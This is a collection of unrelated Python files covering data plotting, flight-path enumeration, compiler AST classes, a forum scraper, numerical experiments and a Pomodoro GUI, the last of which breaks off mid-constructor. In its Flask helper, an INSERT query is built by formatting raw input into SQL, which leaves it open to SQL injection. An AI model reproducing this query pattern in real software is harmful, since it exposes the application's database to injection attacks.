import matplotlib.pyplot as plt
import pandas as pd
import os
import seaborn as sns
plt.ion()

data = pd.DataFrame()
for x in os.listdir("./output"):
    p = pd.read_excel("./output/"+x)
    data = data.append(p, ignore_index=True)

data = data.loc[data.amplitude < data.rms * -1.645]
data = data.loc[data.amplitude > -500]
data = data.loc[data.tau > 0.001]
data.tau_pams = data.tau_pams / 1000
data.rise_pams = data.rise_pams / 1000

wt = [30718, 130618, 190718, 250718]
data["geno"] = ["wt" if x in wt else "mutant" for x in data["date"]]

fig, ax = plt.subplots(6,4)
for i, x in enumerate(["amplitude", "rise", "tau", "rise_pams", "tau_pams"]):
    p = data.groupby(["date", "cell"]).mean().reset_index()
    sns.barplot(x="date", y=x, data=p, ax=ax[i,0], alpha=.5, ci=False)
    sns.stripplot(x="date", y=x, data=p, ax=ax[i,0], jitter=True, hue="cell")
    for y in data["date"].unique():
        sns.kdeplot(data.loc[data.date == y, x], ax=ax[i, 1], cumulative=True, label=y)
p = data.groupby(["date", "cell"]).count().reset_index()
sns.barplot(x="date", y="rms", data=p, alpha=.5, ci=False, ax=ax[5,0])
sns.stripplot(x="date", y="rms", data=p, jitter=True, ax=ax[5,0])
ax[5,0].set_ylabel("Event Count")

for i, x in enumerate(["amplitude", "rise", "tau", "rise_pams", "tau_pams"]):
    p = data.groupby(["date", "cell", "geno"]).mean().reset_index()
    sns.barplot(x="geno", y=x, data=p, ax=ax[i,2], alpha=.5, ci=False)
    sns.stripplot(x="geno", y=x, data=p, ax=ax[i,2], jitter=True, hue="cell")
    for y in data["geno"].unique():
        sns.kdeplot(data.loc[data.geno == y, x], ax=ax[i, 3], cumulative=True, label=y)
p = data.groupby(["date", "cell", "geno"]).count().reset_index()
sns.barplot(x="geno", y="rms", data=p, alpha=.5, ci=False, ax=ax[5,2])
sns.stripplot(x="geno", y="rms", data=p, jitter=True, ax=ax[5,2])
ax[5,0].set_ylabel("Event Count")

for a in ax.flatten():
    a.legend_.remove()

plt.tight_layout()


#!/usr/bin/python3

from datetime import datetime as dt
from datetime import timedelta
from pytz import timezone as tz
import pytz
from operator import itemgetter
from itertools import chain

class AirPort:
    def __init__(self, port_id, country_id,timezone):
        self.code = port_id
        self.country = country_id
        self.tzone = timezone
        self.dstntions = []
    def add_destination(self, *args):
        arr_port, dep_time, arr_time = args
        dep_zone = tz(self.tzone)
        arr_zone = tz(airports[arr_port].tzone)
        dep_time = dep_zone.localize(dt.strptime(dep_time, "%Y-%m-%d %H:%M:%S"))
        arr_time = arr_zone.localize(dt.strptime(arr_time, "%Y-%m-%d %H:%M:%S"))
        self.dstntions.append((arr_port,dep_time,arr_time))

####################################################
airports = {}
with open('iata_codes.csv','r') as iatafile:
    for line in iatafile:
        ia_country, ia_port, ia_timezone = line.rstrip().split(',')
        airports[ia_port]=AirPort(ia_port,ia_country,ia_timezone)

# parse input data
with open('input_data.csv','r') as datafile:
    for line in datafile:
        dep_port, arr_port, dep_time, arr_time = line.rstrip().split(';')
        #cut off destination in the same country
        if airports[dep_port].country != airports[arr_port].country:
            airports[dep_port].add_destination(arr_port,dep_time,arr_time)
####################################################

def date_to_string(ptimes):
    t_fmt='%Y-%m-%dT%H:%M:%S'
    return [(t[0].strftime(t_fmt), t[1].strftime(t_fmt)) for t in ptimes]

def checktime(nxt,pathtime):
    if not pathtime or  (nxt[1]>pathtime[-1][1] and nxt[2]-pathtime[0][0]<path_maxlen):
        return True,nxt[1:]
    return False, None

def enumpaths(k,c,visitedcntrs=[],path=[],pathtime=[]):
    if len(pathlist)>40*c:
        raise ValueError('Limit of 40 paths is reached, choosing next start port..')
    palen = len(path)
    if not visitedcntrs:
        visitedcntrs=[airports[k].country]
    if palen>9:
        pathlist.append(path)
        timelist.append(date_to_string(pathtime))
    else:
        for nxt in airports[k].dstntions:
            cun = airports[nxt[0]].country
            t_ok, t_tup = checktime(nxt,pathtime)
            if t_ok and ((palen==9 and cun==visitedcntrs[0]) or (palen<9 and cun not in visitedcntrs)):
                enumpaths(nxt[0],c,visitedcntrs+[cun],path+[(visitedcntrs[-1],k,nxt[0])],pathtime+[t_tup])

def formatresults():
    rez=[list(zip(pathlist[i],timelist[i])) for i in range(len(pathlist))]
    rez=[[str(i)]+list(chain.from_iterable(y)) for i,x in enumerate(rez) for y in x]
    return rez

def export_res(rez):
    with open('results_10.csv','a') as rzf:
        for line in rez:
            rzf.write(';'.join(line)+'\n')

pathlist, timelist = [], []
path_maxlen=timedelta(365)
c=0
for port in airports:
    c += 1
    try:
        enumpaths(port,c)
    except ValueError as e:
        print(port,e)
    if c>40:
        break

rez=formatresults()
export_res(rez)


import simplejson as json
from flask import render_template
import db

cursor = None
conn = None

def add_bus_name(lpn_id, bus_name, bus_type):
    try:
        cursor, conn = db.connection()
        query = "INSERT INTO bus_names(lpn_id, bus_name, bus_type) VALUES ('{0}', '{1}', '{2}');".format(lpn_id, bus_name, bus_type)
        cursor.execute(query)
        row_id = cursor.lastrowid
        conn.commit()
        return {"ok": True, "last_inserted_id": row_id}
    except Exception as e:
        return {"ok": False, "error": str(e)}


from jax import numpy as jnp
from jax.scipy.spatial.transform import Rotation

class CameraConfig:
    def __init__(self, **kwargs) -> None:
        self.url = kwargs.pop("url", "")

        self.calibration = jnp.array(
            kwargs.pop(
                "calibration",
                [
                    [100, 0, 50],
                    [0, 100, 50],
                    [0, 0, 1],
                ],
            )
        )

        distortion = kwargs.pop("distortion", None)
        if distortion is not None:
            self.distortion = jnp.array(*distortion)
        else:
            self.distortion = None

        self.position = jnp.array(kwargs.pop("position"))
        orientation: Rotation | list[float] = kwargs.pop("orientation")

        if isinstance(orientation, list):
            self.orientation = Rotation.from_euler(
                "ZYX", jnp.array(orientation), degrees=True
            )
        else:
            self.orientation = orientation


"""
`ast1` represents the contents of a single Qy source file.
"""

import abc
import typing as t
import enum
from collections import defaultdict

from . import common
from . import feedback as fb

#
#
# Helpers:
#
#

OptStr = t.Optional[str]

#
#
# Constants:
#
#

class UnaryOperator(enum.Enum):
    DeRef = enum.auto()
    LogicalNot = enum.auto()
    Minus = enum.auto()
    Plus = enum.auto()
    Do = enum.auto()        # applies a thunk

class BinaryOperator(enum.Enum):
    Mul = enum.auto()
    Div = enum.auto()
    Mod = enum.auto()
    Add = enum.auto()
    Sub = enum.auto()
    LSh = enum.auto()
    RSh = enum.auto()
    LThan = enum.auto()
    GThan = enum.auto()
    LEq = enum.auto()
    GEq = enum.auto()
    Eq = enum.auto()
    NEq = enum.auto()
    BitwiseAnd = enum.auto()
    BitwiseXOr = enum.auto()
    BitwiseOr = enum.auto()
    LogicalAnd = enum.auto()
    LogicalOr = enum.auto()

class BuiltinPrimitiveTypeIdentity(enum.Enum):
    Float32 = enum.auto()
    Float64 = enum.auto()
    Float128 = enum.auto()
    Int64 = enum.auto()
    Int32 = enum.auto()
    Int16 = enum.auto()
    Int8 = enum.auto()
    UInt64 = enum.auto()
    UInt32 = enum.auto()
    UInt16 = enum.auto()
    UInt8 = enum.auto()
    Bool = enum.auto()
    Void = enum.auto()

class LinearTypeOp(enum.Enum):
    Product = enum.auto()
    Sum = enum.auto()

#
#
# Base classes and mixins:
#
#

class BaseFileNode(object, metaclass=abc.ABCMeta):
    def __init__(self, loc: fb.ILoc):
        super().__init__()
        self.loc = loc
        self.wb_ctx = None

    @property
    def desc(self):
        return self.__class__.__name__

class WbTypeMixin(common.Mixin):
    all = []

    # sub_index is an index of free variables to expressions in which they occur.
    # it is updated and used by 'apply_sub_everywhere'
    sub_index = defaultdict(list)

    def __init__(self, *args, **kwargs) -> None:
        super().__init__(*args, **kwargs)
        self._wb_type = None

        WbTypeMixin.all.append(self)

    @property
    def wb_type(self):
        return self._wb_type

    @wb_type.setter
    def wb_type(self, new_type):
        self._wb_type = new_type
        WbTypeMixin.index_ast_node(WbTypeMixin.sub_index, self)

    @staticmethod
    def index_ast_node(new_index, ast_node):
        assert ast_node._wb_type is not None
        for t in ast_node._wb_type.oc_free_vars:
            new_index[t].append(ast_node)

    @staticmethod
    def apply_sub_everywhere(sub):
        new_index = defaultdict(list)

        for ast_node in WbTypeMixin.all:
            if ast_node._wb_type is not None:
                ast_node._wb_type = sub.rewrite_type(ast_node._wb_type)
                WbTypeMixin.index_ast_node(new_index, ast_node)

        WbTypeMixin.sub_index = new_index

class BaseTypeSpec(WbTypeMixin, BaseFileNode):
    def __init__(self, loc: fb.ILoc):
        super().__init__(loc)

class BaseExpression(WbTypeMixin, BaseFileNode):
    def __init__(self, loc: fb.ILoc):
        super().__init__(loc)
        self.opt_cached_const_value = None
        self.cache_valid = False

class BaseStatement(BaseFileNode):
    def __init__(self, loc: fb.ILoc):
        super().__init__(loc)

class MIdQualifierNode(common.Mixin):
    def __init__(self, name: str, *args, **kwargs) -> None:
        assert isinstance(self, BaseFileNode)
        super().__init__(*args, **kwargs)
        self.name = name

    def lookup_def_obj(self):
        assert self.wb_ctx is not None
        res = self.wb_ctx.try_lookup(self.name)
        assert res is not None
        return res

#
#
# Statements:
#
#

class BaseIdQualifierStatement(MIdQualifierNode, BaseStatement):
    def __init__(self, loc: fb.ILoc, name: str):
        super().__init__(name, loc)

class Bind1vStatement(BaseIdQualifierStatement):
    def __init__(self, loc: fb.ILoc, name: str, initializer: t.Optional[BaseExpression], is_constant: bool = False):
        super().__init__(loc, name)
        self.initializer = initializer
        self.is_constant = is_constant

class Bind1fStatement(BaseIdQualifierStatement):
    def __init__(
        self,
        loc: fb.ILoc,
        name: str,
        arg_names: t.List[str], arg_types: t.List["BaseTypeSpec"],
        body: t.Optional["BaseExpression"], opt_ret_ts: t.Optional["BaseTypeSpec"],
        is_variadic: bool = False
    ):
        assert isinstance(body, (type(None), BaseExpression))
        super().__init__(loc, name)
        self.args_names = arg_names
        self.args_types = arg_types
        self.body_exp = body
        self.opt_ret_ts = opt_ret_ts
        self.is_variadic = is_variadic

    def is_extern(self):
        if isinstance(self, Bind1fStatement):
            assert self.body_exp is None
            return True
        else:
            return False

class Extern1vStatement(Bind1vStatement):
    def __init__(self, loc, var_name: str, var_ts: "BaseTypeSpec", var_str):
        super().__init__(loc, var_name, None)
        self.var_type_spec = var_ts
        self.extern_notation = var_str

    def __str__(self) -> str:
        return self.extern_notation

class Extern1fStatement(Bind1fStatement):
    def __init__(
        self, loc: fb.ILoc,
        name: str, arg_names: t.List[str], arg_typespecs: t.List["BaseTypeSpec"], ret_typespec: "BaseTypeSpec",
        extern_notation: str
    ):
        super().__init__(loc, name, arg_names, arg_typespecs, None, ret_typespec)
        self.extern_notation = extern_notation

    def __str__(self) -> str:
        return self.extern_notation

class Bind1tStatement(BaseIdQualifierStatement):
    def __init__(self, loc: fb.ILoc, name: str, initializer: BaseTypeSpec):
        super().__init__(loc, name)
        self.initializer = initializer

class Type1vStatement(BaseIdQualifierStatement):
    def __init__(self, loc: fb.ILoc, name: str, ts: BaseTypeSpec, is_export_line: bool):
        super().__init__(loc, name)
        self.ts = ts
        self.is_export_line = is_export_line

class ConstStatement(BaseStatement):
    def __init__(self, loc: fb.ILoc, body: t.List[BaseStatement], const_type_spec: "BaseTypeSpec"):
        super().__init__(loc)
        self.loc = loc
        self.body = body
        self.const_type_spec = const_type_spec
        self.wb_ctx_chain = []
        self.wb_synth_pred_binders = []

    @property
    def root_ctx(self):
        return self.wb_ctx_chain[0]

    def pre_ctx_of_constant(self, i):
        return self.wb_ctx_chain[i]

    def post_ctx_of_constant(self, i):
        return self.wb_ctx_chain[i+1]

class ReturnStatement(BaseStatement):
    def __init__(self, loc, returned_exp: BaseExpression, is_shallow=True):
        super().__init__(loc)
        self.returned_exp = returned_exp
        self.is_shallow = is_shallow

class DiscardStatement(BaseStatement):
    def __init__(self, loc: fb.ILoc, discarded_exp: BaseExpression):
        super().__init__(loc)
        self.discarded_exp = discarded_exp

class LoopStyle(enum.Enum):
    WhileDo = enum.auto()
    DoWhile = enum.auto()

class LoopStatement(BaseStatement):
    def __init__(self, loc: fb.ILoc, cond: BaseExpression, body: BaseExpression, loop_style: LoopStyle):
        super().__init__(loc)
        self.cond = cond
        self.body = body
        self.loop_style = loop_style

#
#
# Expressions:
#
#

class BaseNumberExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, text: str, value: t.Union[int, float], width_in_bits: int):
        super().__init__(loc)
        self.text = text
        self.value = value
        self.width_in_bits = width_in_bits

class IntExpression(BaseNumberExpression):
    def __init__(
            self,
            loc: fb.ILoc,
            text: str,
            value: int,
            base: int,
            is_unsigned: bool,
            width_in_bits: int = 32
    ):
        super().__init__(loc, text, value, width_in_bits)
        self.value: int
        self.text_base = base
        self.is_unsigned = is_unsigned
        # print("IntExpression:", self.text)

class FloatExpression(BaseNumberExpression):
    def __init__(self, loc: fb.ILoc, text: str, value: float, width_in_bits=64):
        super().__init__(loc, text, value, width_in_bits)
        self.value: float
        # print("FloatExpression:", self.text)

class StringExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, pieces: t.List[str], value: str):
        super().__init__(loc)
        self.pieces = pieces
        self.value = value
        # print("StringExpression:", self.pieces, repr(self.value))

class IdRefExpression(MIdQualifierNode, BaseExpression):
    def __init__(self, loc: fb.ILoc, name: str):
        super().__init__(name, loc)

class IfExpression(BaseExpression):
    def __init__(
        self,
        loc: fb.ILoc,
        cond_exp: "BaseExpression",
        then_exp: "BaseExpression",
        opt_else_exp: t.Optional["BaseExpression"]
    ):
        super().__init__(loc)
        self.cond_exp = cond_exp
        self.then_exp = then_exp
        self.else_exp = opt_else_exp

class LambdaExpression(BaseExpression):
    def __init__(
        self, loc: fb.ILoc,
        opt_arg_names: t.Optional[t.List[str]],
        body_prefix: t.List["BaseExpression"],
        opt_body_tail: t.Optional["BaseExpression"],
        no_closure: bool
    ):
        super().__init__(loc)
        self.arg_names = opt_arg_names if opt_arg_names is not None else []
        self.body_prefix = body_prefix
        self.opt_body_tail = opt_body_tail
        self.no_closure = no_closure

class ProcCallExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, proc: BaseExpression, arg_exps: t.List[BaseExpression]):
        super().__init__(loc)
        self.proc = proc
        self.arg_exps = arg_exps

class ConstructExpression(BaseExpression):
    """
    Constructs an expression's value, implicitly placing constructed expression on the stack.
    Returns the value de-referencing this stack pointer.
    """

    def __init__(self, loc: fb.ILoc, made_ts: BaseTypeSpec, initializer_list: t.List[BaseExpression]):
        super().__init__(loc)
        self.made_ts = made_ts
        self.initializer_list = initializer_list

class CopyExpression(BaseExpression):
    """
    Allocates memory, then copies a value to this memory. Returns the pointer to memory.
    """

    class Allocator(enum.Enum):
        Push = enum.auto()  # allocates object on the stack, returns [possibly mutable] pointer
        Heap = enum.auto()  # allocates object on the stack, returns [possibly mutable] pointer

    def __init__(self, loc: fb.ILoc, copied_val: BaseExpression, allocator: Allocator, is_mut: bool):
        super().__init__(loc)
        self.copied_val = copied_val
        self.allocator = allocator
        self.is_mut = is_mut

class DotIdExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, container: BaseExpression, key: str):
        super().__init__(loc)
        self.container = container
        self.key = key

class IndexExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, container: BaseExpression, index: BaseExpression, ret_ref: bool):
        super().__init__(loc)
        self.container = container
        self.index = index
        self.ret_ref = ret_ref

class UnaryOpExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, operator: UnaryOperator, operand: BaseExpression):
        super().__init__(loc)
        self.operator = operator
        self.operand = operand

class BinaryOpExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, operator: BinaryOperator, lt_operand: BaseExpression, rt_operand: BaseExpression):
        super().__init__(loc)
        self.operator = operator
        self.lt_operand_exp = lt_operand
        self.rt_operand_exp = rt_operand

class UpdateExpression(BaseExpression):
    def __init__(self, loc: fb.ILoc, store_address: BaseExpression, stored_value: BaseExpression):
        super().__init__(loc)
        self.store_address = store_address
        self.stored_value = stored_value

#
#
# Type specifiers:
#
#

class IdRefTypeSpec(MIdQualifierNode, BaseTypeSpec):
    def __init__(self, loc: fb.ILoc, name: str):
        super().__init__(name, loc)

class BuiltinPrimitiveTypeSpec(BaseTypeSpec):
    def __init__(self, loc: fb.ILoc, identity: BuiltinPrimitiveTypeIdentity):
        super().__init__(loc)
        self.identity = identity

    @property
    def is_unsigned_int(self) -> bool:
        return self.identity in {
            BuiltinPrimitiveTypeIdentity.UInt8,
            BuiltinPrimitiveTypeIdentity.UInt16,
            BuiltinPrimitiveTypeIdentity.UInt32,
            BuiltinPrimitiveTypeIdentity.UInt64
        }

    @property
    def int_width_in_bits(self) -> t.Optional[int]:
        return {
            BuiltinPrimitiveTypeIdentity.Int8: 8,
            BuiltinPrimitiveTypeIdentity.Int16: 16,
            BuiltinPrimitiveTypeIdentity.Int32: 32,
            BuiltinPrimitiveTypeIdentity.Int64: 64,
            BuiltinPrimitiveTypeIdentity.UInt8: 8,
            BuiltinPrimitiveTypeIdentity.UInt16: 16,
            BuiltinPrimitiveTypeIdentity.UInt32: 32,
            BuiltinPrimitiveTypeIdentity.UInt64: 64
        }.get(self.identity, None)

class AdtTypeSpec(BaseTypeSpec):
    def __init__(self, loc: fb.ILoc, linear_op: LinearTypeOp, args: t.List[t.Tuple[OptStr, BaseTypeSpec]]):
        super().__init__(loc)
        self.linear_op = linear_op
        self.fields_list = args
        self.fields_dict = {
            arg_pair[0]: arg_pair[1]
            for arg_pair in args
            if arg_pair[0] is not None
        }

    def push_field(self, field_key):
        assert isinstance(field_key, tuple)
        assert len(field_key) == 2
        field_name, field_ts = field_key
        assert isinstance(field_name, (type(None), str))
        assert isinstance(field_ts, BaseTypeSpec)
        assert field_name not in self.fields_dict
        self.fields_list.append(field_key)
        self.fields_dict[field_name] = field_ts

class PtrTypeSpec(BaseTypeSpec):
    def __init__(self, loc: fb.ILoc, pointee_type_spec: BaseTypeSpec, is_mut: bool):
        super().__init__(loc)
        self.pointee_type_spec = pointee_type_spec
        self.is_mut = is_mut

class ArrayTypeSpec(BaseTypeSpec):
    def __init__(self, loc: fb.ILoc, element_type_spec: BaseTypeSpec, count_expression: BaseExpression, is_mut: bool):
        super().__init__(loc)
        self.element_type_spec = element_type_spec
        self.count_expression = count_expression
        self.is_mut = is_mut

class ArrayBoxTypeSpec(BaseTypeSpec):
    def __init__(self, loc: fb.ILoc, element_type_spec: BaseTypeSpec, is_mut: bool):
        super().__init__(loc)
        self.element_type_spec = element_type_spec
        self.is_mut = is_mut

class ProcSignatureTypeSpec(BaseTypeSpec):
    def __init__(
        self,
        loc: fb.ILoc,
        opt_args: t.Optional[t.List[t.Tuple[OptStr, BaseTypeSpec]]],
        ret_ts: BaseTypeSpec,
        takes_closure: bool,
        is_c_variadic: bool
    ):
        super().__init__(loc)
        self.opt_args_list = opt_args
        self.ret_ts = ret_ts
        self.takes_closure = takes_closure
        self.is_c_variadic = is_c_variadic


# coding=utf-8
import time
import os
import json

import pandas as pd
import requests

from src import urls_getter
from src import page_parser

root_url = "http://sofasofa.io/"  # 主站地址
page_interface = "http://sofasofa.io/public_forum_exe.php?action=load_more"  # 分页请求接口

url_pools = './data/urls_pool.csv'
url_pools_df = None
if os.path.exists(url_pools):
    url_pools_df = pd.read_csv(url_pools, index_col=[0])
else:
    with open(url_pools, 'a+') as fw:
        for i in range(171):
            print('*' * 100)
            print(f'get {i}th page')
            payload = {"start": i*10, "filter": None, "type": 0}  # 接口传递参数
            get_url = urls_getter.UrlGetter()
            get_url.get_entities(root_url, page_interface, 'POST', payload)
            titles = get_url.get_urls()
            fw.writelines('\n'.join(titles))
            fw.write('\n')
            time.sleep(0.1)

    url_pools_df = pd.read_csv(url_pools, header=None)
    url_pools_df.columns = ['url']
    url_pools_df = url_pools_df.sort_values(by='url').reset_index(drop=True)
    url_pools_df.to_csv(url_pools)

titles = url_pools_df['url'].to_list()
parse_page = page_parser.Parser()
i = 0
for question_url in titles:
    print('*'*100)
    print(f'get page of {question_url}')
    id = question_url.split('=')[1]
    parse_page.get_page(question_url)
    title = parse_page.get_question()
    print(f'questions: {title}')
    desc = parse_page.get_question_desc()
    viewer =parse_page.get_viewer()
    tags = parse_page.get_tags()
    answers = parse_page.get_answer()
    print(answers)
    QA = {
        'id': id,
        'question': title,
        'description': desc,
        'viewer': viewer,
        'tags': tags,
        'answers': answers
    }
    with open('./data/output/' + id + '.json', 'w') as fw:
        json.dump(QA, fw, ensure_ascii=False)


import numpy as np

from scipy.stats import distributions as dist
# from mud import full_functional, norm_input, norm_data, norm_predicted,
from mud import make_2d_unit_mesh, std_from_equipment
import bet.sample as samp

from parallel_poisson import poisson_sensor_model
# from newpoisson import poisson # function evaluation (full response surface)
from fenics import FunctionSpace, RectangleMesh, Point, Function
import pickle

from plotting import plot_surface, plot_tolerance_error, plot_experiment_equipment, log_linear_regression, plot_decay_solution
from experiments import mud_problem, experiment_equipment, experiment_measurements, extract_statistics

### PDE ###
def generate_sensors_pde(num_measure, xmin=0.05, ymin=0.05, xmax=0.95, ymax=0.95):
    sensors      = np.random.rand(num_measure,2)
    sensors[:,0] = xmin + (xmax-xmin)*sensors[:,0] # x_0 location
    sensors[:,1] = ymin + (ymax-ymin)*sensors[:,1] # x_1 location
    return sensors

def build_list(datapath = 'results.pkl'):
    # Load results from disk. TODO: generalize this, and infer input dimension.
    # Maybe allow for running the forward simulations (probably best to separate out)
    results = pickle.load(open(datapath, 'rb'))
    # flatten results structure
    l = []
    for r in results:
        for w in r:
            l.append(w)
    print(f"Read {len(l)} evaluations in parameter space from {datapath}")
    return l

def load_poisson(sensors, l):
    num_samples = len(l)
    print(f"Loaded {num_samples} evaluations of parameter space.")

    mesh = RectangleMesh(Point(0,0), Point(1,1), 36, 36)
    V = FunctionSpace(mesh, 'Lagrange',1)

    qoi = []
    lam = []
    # go through all the files and load them into an array
    for i in range(len(l)):
        fname = l[i][i]['u']
        u = Function(V, fname)
        q = [u(xi,yi) for xi,yi in sensors] # sensors
        qoi.append(np.array(q))
        lam.append(l[i][i]['gamma'])
    qoi = np.array(qoi)
    lam = np.array(lam)
    print('QoI', qoi.shape,
          'Input', lam.shape,
          'Measurements', sensors.shape,
          'Num Input Samples', num_samples) # check shapes correct

    return lam, qoi

def main_pde(num_trials,
             fsize,
             seed=21,
             lam_true=3.0,
             domain=[[1,5]],
             tolerances=[],
             measurements=[]):
    print(f"Will run simulations for S={measurements}")
    res = []
    num_measure = max(measurements)
    model_list  = build_list()
    sd_vals     = [ std_from_equipment(tolerance=tol, probability=0.99) for tol in tolerances ]
    sigma       = sd_vals[0]
    for _prefix in [ 'pde', 'pde-alt']:

        if _prefix == 'pde-alt':
            sensors = generate_sensors_pde(num_measure, ymax=0.5, xmax=0.25)
        else:
            sensors = generate_sensors_pde(num_measure, ymax=0.95, xmax=0.95)

        qoi_true = poisson_sensor_model(sensors, gamma=lam_true)
        lam, qoi= load_poisson(sensors, model_list)
        def mud_wrapper(num_obs, sd):
            return mud_problem(domain=domain, lam=lam, qoi=qoi, sd=sd, qoi_true=qoi_true, num_obs=num_obs)

        experiments, solutions = experiment_measurements(num_measurements=measurements,
                                                 sd=sigma,
                                                 num_trials=num_trials,
                                                 seed=seed,
                                                 fun=mud_wrapper)

        means, variances = extract_statistics(solutions, lam_true)
        regression_mean, slope_mean = log_linear_regression(measurements, means)
        regression_vars, slope_vars = log_linear_regression(measurements, variances)

        ##########

        num_sensors = min(100, num_measure)

        sd_means, sd_vars = experiment_equipment(num_trials=num_trials,
                                              num_measure=num_sensors,
                                              sd_vals=sd_vals,
                                              reference_value=lam_true,
                                              fun=mud_wrapper)

        regression_err_mean, slope_err_mean = log_linear_regression(tolerances, sd_means)
        regression_err_vars, slope_err_vars = log_linear_regression(tolerances, sd_vars)

        _in = (lam, qoi, sensors, qoi_true, experiments, solutions)
        _rm = (regression_mean, slope_mean, regression_vars, slope_vars, means, variances)
        _re = (regression_err_mean, slope_err_mean, regression_err_vars, slope_err_vars, sd_means, sd_vars, num_sensors)
        res.append((_prefix, _in, _rm, _re))
    return res

### ODE ###
def generate_sensors_ode(measurement_hertz=100, start_time=1, end_time=3):
    num_measure = measurement_hertz*(end_time-start_time)
    return np.linspace(start_time, end_time, num_measure)

def makeDecayModel(t, lam_true):
    def model(lam = np.array([[lam_true]]) ):
        if isinstance(lam, float) or isinstance(lam, int):
            lam = np.array([[lam]])
        initial_cond = 0.75
        rate = lam[:,0].reshape(-1,1)
        response = initial_cond*np.exp(np.outer(rate, -t))
        if response.shape[0] == 1:
            return response.ravel() # this allows support for simpler 1D plotting.
        else:
            return response
    return model

def main_ode(num_trials,
             fsize,
             seed=21,
             lam_true=0.5,
             domain=[[0,1]],
             tolerances=[],
             time_ratios=[]):
    res = []
    print(f"Will run simulations for %T={time_ratios}")
    sd_vals      = [ std_from_equipment(tolerance=tol, probability=0.99) for tol in tolerances ]
    sigma        = sd_vals[0]
    t_min, t_max = 1, 3
    for _prefix in [ 'ode', 'ode-alt']:

        if _prefix == 'ode-alt':
            sensors = generate_sensors_ode(measurement_hertz=200, start_time=t_min, end_time=t_max)
        else:
            sensors = generate_sensors_ode(measurement_hertz=100, start_time=t_min, end_time=t_max)

        measurements = [ int(np.floor(len(sensors)*r)) for r in time_ratios ]
        print(f"Measurements: {measurements}")
#         times        = [ sensors[m-1] for m in measurements ]
        num_measure = max(measurements)

        model    = makeDecayModel(sensors, lam_true)
        qoi_true = model() # no args evaluates true param
        np.random.seed(seed)
        lam = np.random.rand(int(1E4)).reshape(-1,1)
        qoi = model(lam)

        def mud_wrapper(num_obs, sd):
            return mud_problem(domain=domain, lam=lam, qoi=qoi, sd=sd, qoi_true=qoi_true, num_obs=num_obs)

        experiments, solutions = experiment_measurements(num_measurements=measurements,
                                                 sd=sigma,
                                                 num_trials=num_trials,
                                                 seed=seed,
                                                 fun=mud_wrapper)

        means, variances = extract_statistics(solutions, lam_true)
        regression_mean, slope_mean = log_linear_regression(time_ratios, means)
        regression_vars, slope_vars = log_linear_regression(time_ratios, variances)

        ##########

        num_sensors = min(25, num_measure)

        sd_means, sd_vars = experiment_equipment(num_trials=num_trials,
                                              num_measure=num_sensors,
                                              sd_vals=sd_vals,
                                              reference_value=lam_true,
                                              fun=mud_wrapper)

        regression_err_mean, slope_err_mean = log_linear_regression(tolerances, sd_means)
        regression_err_vars, slope_err_vars = log_linear_regression(tolerances, sd_vars)

        _in = (lam, qoi, sensors, qoi_true, experiments, solutions)
        _rm = (regression_mean, slope_mean, regression_vars, slope_vars, means, variances)
        _re = (regression_err_mean, slope_err_mean, regression_err_vars, slope_err_vars, sd_means, sd_vars, num_sensors)
        res.append((_prefix, _in, _rm, _re))

        plot_decay_solution(measurements, solutions, makeDecayModel, end_time=t_max,
                            sigma=sigma, time_vector=sensors)

    return res

######

if __name__ == "__main__":
    import argparse
    desc = """
        Poisson Examples
        """

    parser = argparse.ArgumentParser(description=desc)
    parser.add_argument('-p', '--prefix',      default='pde', type=str)
    parser.add_argument('-m', '--num-measure', default=[],  action='append')
    parser.add_argument('-r', '--ratio-measure', default=[],  action='append')
    parser.add_argument('-n', '--num-trials',  default=20,    type=int)
    parser.add_argument('-t', '--tolerance',   default=[], action='append')
    parser.add_argument('-s', '--seed',        default=21)
    parser.add_argument('-lw', '--linewidth',  default=5)
    parser.add_argument('--fsize',             default=32, type=int)
    args = parser.parse_args()
    np.random.seed(args.seed)

    prefix       = args.prefix
    num_trials   = args.num_trials
    fsize        = args.fsize
    linewidth    = args.linewidth
    seed         = args.seed
    tolerances   = list(np.sort([ float(t) for t in args.tolerance ]))
    if len(tolerances) == 0: tolerances = [0.1]

    if prefix == 'pde':
        measurements = list(np.sort([ int(n) for n in args.num_measure ]))
        if len(measurements) == 0: measurements = [100]
    else:
        time_ratios  = list(np.sort([ float(r) for r in args.ratio_measure ]))
        if len(time_ratios) == 0: time_ratios = [1.0]

    if prefix == 'pde':
        lam_true = 3.0
        res = main_pde(num_trials=num_trials,
                         fsize=fsize,
                         seed=seed,
                         lam_true=lam_true,
                         tolerances=tolerances,
                         measurements=measurements)
        plot_surface(res=res, measurements=measurements, fsize=fsize, prefix=prefix, lam_true=lam_true)
        if len(measurements) > 1: plot_experiment_equipment(measurements, res, prefix, fsize, linewidth)
    elif prefix == 'ode':
        lam_true = 0.5
        res = main_ode(num_trials=num_trials,
                         fsize=fsize,
                         seed=seed,
                         lam_true=lam_true,
                         tolerances=tolerances,
                         time_ratios=time_ratios)
        if len(time_ratios) > 1: plot_experiment_equipment(time_ratios, res, prefix, fsize, linewidth,
                                                        xlabel='Proportion of Time Elapsed')
    ##########

    if len(tolerances) > 1: plot_tolerance_error(tolerances, res, prefix, fsize, linewidth)


#!/usr/bin/python3
import threading
import customtkinter
from PIL import Image, ImageTk
import pygame
import os
import time

PATH = os.path.dirname(os.path.realpath(__file__))

customtkinter.set_appearance_mode("Light")
customtkinter.set_default_color_theme("blue")

class PomodorING(customtkinter.CTk):
  # ---------Variables globales--------------------------------
  global tiempo
  tiempo = "25:00"
  global time_text_split
  time_text_split = tiempo.split(":")
  global extraTime
  extraTime = 0

  # ---------Construccion de aplicacion------------------------
  def __init__(self):
    super().__init__()

    self.title("PomodorING")
    self.geometry("1280x720")

    # -----------------Frames principales--------------------------
    self.grid_columnconfigure(1, weight=1)
    self.grid_rowconfigure(0, weight=1)

    # ------------------------Open files---------------------------
    self.start_image = self.load_image("/app_buttons/start.png", 50)
    self.reset_image = self.load_image("/app_buttons/reset.png", 50)
    self.moremin_image = self.load_image("/app_buttons/moremin.png", 50)
    self.lessmin_image = self.load_image("/app_buttons/lessmin.png", 50)
    self.pause_image = self.load_image("/app_buttons/pause.png", 50)
    self.resume_image = self.load_image("/app_buttons/start_music.png", 50)
